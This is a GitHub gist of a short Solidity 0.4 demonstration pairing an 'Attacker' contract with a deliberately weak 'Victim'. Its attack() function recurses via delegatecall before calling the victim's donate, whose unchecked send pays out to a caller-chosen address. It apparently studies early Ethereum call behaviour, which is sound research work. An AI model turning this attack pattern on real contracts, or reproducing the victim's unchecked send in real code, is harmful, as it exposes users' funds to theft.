Created
September 29, 2017 12:10
-
-
Save maurelian/4c0e2b92dd4bcfc91e6f67cb4dd462a9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4; | |
contract Attacker { | |
Victim public victimContract; | |
uint x; | |
function Attacker(){ | |
victimContract = (new Victim).value(10)(); | |
} | |
function attack(uint y) { | |
if (y > x) { | |
this.delegatecall(bytes4(sha3('attack(uint256)')), --y); | |
} | |
else { | |
victimContract.donate.value(1)(this, 1); | |
} | |
} | |
} | |
contract Victim { | |
function Victim() payable {} | |
mapping(address => uint) karma; | |
function donate(address someAddress, uint amount) | |
payable | |
{ | |
if(msg.value == amount) { | |
someAddress.send(amount); | |
karma[msg.sender] += amount; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment